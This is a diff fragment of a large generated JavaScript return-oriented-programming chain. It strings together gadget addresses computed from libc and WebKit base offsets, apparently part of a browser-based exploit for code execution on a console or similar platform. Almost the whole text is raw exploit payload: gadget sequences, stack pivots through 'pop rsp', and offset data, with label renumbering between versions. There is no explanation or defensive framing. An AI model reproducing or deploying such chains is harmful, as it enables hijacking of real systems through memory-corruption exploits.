//_printf_ +//L7102: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -52403,124 +51636,124 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7332: -db([4294965084, 4294967295]); // -0x8a4 -set_gadget(libc_base+792472,); //pop rcx -//L7334: +//L7104: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7105: +db([4294965084, 4294967295]); // -0x8a4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+373752, //L7336 +ropchain+370408, //L7108 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7335: +//L7107: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7336: +//L7108: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+373808, //L7339 +ropchain+370464, //L7110 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7339: +//L7110: db([0, 0]); // 0x0 -//L7337: +//L7109: set_gadgets([ libc_base+793877, //pop rsi -ropchain+373872, //L7342 +ropchain+370512, //L7112 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7340: -db([4294965084, 4294967295]); // -0x8a4 -set_gadget(libc_base+792472,); //pop rcx -//L7342: +//L7112: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7113: +db([4294965084, 4294967295]); // -0x8a4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+373976, //L7345 +ropchain+370632, //L7117 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+373960, //L7344 +ropchain+370616, //L7115 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7344: +//L7115: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7345: +//L7117: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+374144, //L7348 +ropchain+370800, //L7120 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+374160, //L7349 +ropchain+370816, //L7121 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+374112, //L7346 +ropchain+370784, //L7118 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+374128, //L7347 +ropchain+370768, //L7119 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7346: +//L7119: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7347: +//L7118: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7348: +//L7120: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7349: +//L7121: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+374232, //L7350 +ropchain+370888, //L7122 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+374248, //L7351 +ropchain+370904, //L7123 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7350: +//L7122: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7351: +//L7123: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+374344, //L7353 +ropchain+371000, //L7125 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+374328, //L7352 +ropchain+370984, //L7124 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7352: +//L7124: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7353: +//L7125: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -52529,39 +51762,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+374424, //L7355 +ropchain+371080, //L7126 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7355: +//L7126: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7354: +//L7127: db([20, 0]); // 0x14 set_gadget(libc_base+206806,); //pop rdi -//L7356: +//L7128: db([20, 0]); // 0x14 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+374560, //L7357 +ropchain+371216, //L7129 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+374592, //L7359 +ropchain+371248, //L7131 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+374576, //L7358 +ropchain+371232, //L7130 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7357: +//L7129: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7358: +//L7130: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7359: +//L7131: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -52574,85 +51807,85 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+374760, //L7361 +ropchain+371416, //L7133 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+374776, //L7362 +ropchain+371432, //L7134 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+374744, //L7360 +ropchain+371400, //L7132 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7360: +//L7132: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7361: +//L7133: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7362: +//L7134: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+374880, //L7365 +ropchain+371536, //L7137 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+374928, //L7367 +ropchain+371584, //L7139 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+374912, //L7366 +ropchain+371568, //L7138 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7365: +//L7137: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L7364: +//L7136: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7366: +//L7138: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7367: +//L7139: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+375040, //L7368+8 +ropchain+371696, //L7140+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+375032, //L7368 +ropchain+371688, //L7140 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L7368: +//L7140: db([0, 0]); // 0x0 set_gadgets([ -ropchain+375056, //L7368+24 -ropchain+375072, //L7363 +ropchain+371712, //L7140+24 +ropchain+371728, //L7135 libc_base+811575, //pop rsp -ropchain+375088, //L7369 -//L7363: +ropchain+371744, //L7141 +//L7135: libc_base+811575, //pop rsp -ropchain+378320, //L7370 -//L7369: +ropchain+374976, //L7142 +//L7141: libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+375144, //L7372 +ropchain+371800, //L7144 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L7371: -db([4294965100, 4294967295]); // -0x894 +//L7143: +db([4294965104, 4294967295]); // -0x890 set_gadget(libc_base+788575,); //pop rax -//L7372: +//L7144: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -52662,22 +51895,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+375224, //L7373 +ropchain+371880, //L7145 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7373: +//L7145: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+375280, //L7376 +ropchain+371936, //L7147 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7376: +//L7147: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -52685,83 +51918,83 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+375376, //L7379 +ropchain+372016, //L7149 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7377: -db([4294965084, 4294967295]); // -0x8a4 -set_gadget(libc_base+792472,); //pop rcx -//L7379: +//L7149: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7150: +db([4294965084, 4294967295]); // -0x8a4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+375480, //L7382 +ropchain+372136, //L7154 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+375464, //L7381 +ropchain+372120, //L7152 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7381: +//L7152: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7382: +//L7154: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+375648, //L7385 +ropchain+372304, //L7157 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+375664, //L7386 +ropchain+372320, //L7158 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+375616, //L7383 +ropchain+372288, //L7155 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+375632, //L7384 +ropchain+372272, //L7156 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7383: +//L7156: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7384: +//L7155: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7385: +//L7157: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7386: +//L7158: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+375768, //L7387 +ropchain+372424, //L7159 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+375800, //L7389 +ropchain+372456, //L7161 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+375784, //L7388 +ropchain+372440, //L7160 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7387: +//L7159: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7388: +//L7160: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7389: +//L7161: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -52772,263 +52005,263 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+375888, //L7390 +ropchain+372544, //L7162 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7390: +//L7162: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+375944, //L7393 +ropchain+372600, //L7164 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7393: +//L7164: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+376080, //L7395 +ropchain+372736, //L7167 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+376096, //L7396 +ropchain+372752, //L7168 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+376064, //L7394 +ropchain+372720, //L7166 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7394: +//L7166: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7395: +//L7167: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7396: +//L7168: db([0, 0]); // 0x0 set_gadgets([ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi -ropchain+376256, //L7400 +ropchain+372912, //L7172 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+376208, //L7397 +ropchain+372864, //L7170 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+376240, //L7399 +ropchain+372896, //L7171 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7397: +//L7170: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7398: +//L7169: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7399: +//L7171: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7400: +//L7172: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+376312, //L7402 +ropchain+372968, //L7174 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7402: +//L7174: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+376416, //L7403 +ropchain+373072, //L7176 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+376448, //L7405 +ropchain+373104, //L7177 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+376432, //L7404 +ropchain+373088, //L7175 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7403: +//L7176: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7404: +//L7175: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7405: +//L7177: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+376608, //L7409 +ropchain+373264, //L7181 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+376560, //L7406 +ropchain+373216, //L7179 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+376592, //L7408 +ropchain+373248, //L7180 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7406: +//L7179: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7407: +//L7178: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7408: +//L7180: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7409: +//L7181: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+376664, //L7411 +ropchain+373320, //L7183 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7411: +//L7183: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+376768, //L7412 +ropchain+373424, //L7185 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+376800, //L7414 +ropchain+373456, //L7186 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+376784, //L7413 +ropchain+373440, //L7184 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7412: +//L7185: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7413: +//L7184: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7414: +//L7186: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+376960, //L7418 +ropchain+373616, //L7190 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+376912, //L7415 +ropchain+373568, //L7188 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+376944, //L7417 +ropchain+373600, //L7189 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7415: +//L7188: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7416: +//L7187: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7417: +//L7189: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7418: +//L7190: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+377016, //L7420 +ropchain+373672, //L7192 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7420: +//L7192: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+377120, //L7421 +ropchain+373776, //L7194 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+377152, //L7423 +ropchain+373808, //L7195 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+377136, //L7422 +ropchain+373792, //L7193 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7421: +//L7194: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7422: +//L7193: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7423: +//L7195: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+377312, //L7427 +ropchain+373968, //L7199 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+377264, //L7424 +ropchain+373920, //L7197 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+377296, //L7426 +ropchain+373952, //L7198 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7424: +//L7197: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7425: +//L7196: db([56, 0]); // 0x38 set_gadget(libc_base+206806,); //pop rdi -//L7426: +//L7198: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7427: +//L7199: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+377416, //L7429 +ropchain+374072, //L7201 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+377400, //L7428 +ropchain+374056, //L7200 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7428: +//L7200: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7429: +//L7201: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53036,8 +52269,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L7431: -ropchain+398296, //L7430 +//L7203: +ropchain+398096, //L7202 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -53045,8 +52278,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L7433: -ropchain+377568, //L7432 +//L7205: +ropchain+374224, //L7204 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -53054,87 +52287,87 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L7432: +ropchain+159840, //_printf_ +//L7204: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L7434: +//L7206: libc_base+793877, //pop rsi -ropchain+377656, //L7437 +ropchain+374296, //L7207 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7435: -db([4294965084, 4294967295]); // -0x8a4 -set_gadget(libc_base+792472,); //pop rcx -//L7437: +//L7207: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7208: +db([4294965084, 4294967295]); // -0x8a4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+377760, //L7440 +ropchain+374416, //L7212 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+377744, //L7439 +ropchain+374400, //L7210 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7439: +//L7210: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7440: +//L7212: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+377928, //L7443 +ropchain+374584, //L7215 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+377944, //L7444 +ropchain+374600, //L7216 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+377896, //L7441 +ropchain+374568, //L7213 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+377912, //L7442 +ropchain+374552, //L7214 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7441: +//L7214: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7442: +//L7213: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7443: +//L7215: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7444: +//L7216: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+378040, //L7446 +ropchain+374696, //L7218 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+378024, //L7445 +ropchain+374680, //L7217 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7445: +//L7217: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7446: +//L7218: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53142,38 +52375,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+378128, //L7448 +ropchain+374784, //L7220 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L7447: +//L7219: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L7448: +//L7220: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+378200, //L7451 +ropchain+374840, //L7221 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7449: -db([4294965084, 4294967295]); // -0x8a4 -set_gadget(libc_base+792472,); //pop rcx -//L7451: +//L7221: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7222: +db([4294965084, 4294967295]); // -0x8a4 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+378264, //L7452 +ropchain+374920, //L7224 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7452: +//L7224: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -53183,11 +52416,11 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+811575, //pop rsp -ropchain+373816, //L7337 -//L7370: +ropchain+370472, //L7109 +//L7142: libc_base+788575, //pop rax -//L7455: -ropchain+398304, //L7454 +//L7227: +ropchain+398104, //L7226 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -53195,8 +52428,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L7457: -ropchain+378432, //L7456 +//L7229: +ropchain+375088, //L7228 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -53204,8 +52437,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L7456: +ropchain+159840, //_printf_ +//L7228: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -53214,7 +52447,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575 //pop rax ]); -//L7458: +//L7230: db([20, 0]); // 0x14 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53223,14 +52456,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+378568, //L7460 +ropchain+375224, //L7232 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L7459: -db([4294965100, 4294967295]); // -0x894 +//L7231: +db([4294965104, 4294967295]); // -0x890 set_gadget(libc_base+788575,); //pop rax -//L7460: +//L7232: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -53242,7 +52475,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L7461: +//L7233: db([46, 0]); // 0x2e set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53251,7 +52484,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L7462: +//L7234: db([41, 0]); // 0x29 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -53259,77 +52492,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+378768, //L7465 +ropchain+375408, //L7235 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7463: -db([4294967256, 4294967295]); // -0x28 -set_gadget(libc_base+792472,); //pop rcx -//L7465: +//L7235: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7236: +db([4294965180, 4294967295]); // -0x844 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+378872, //L7468 +ropchain+375528, //L7240 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+378856, //L7467 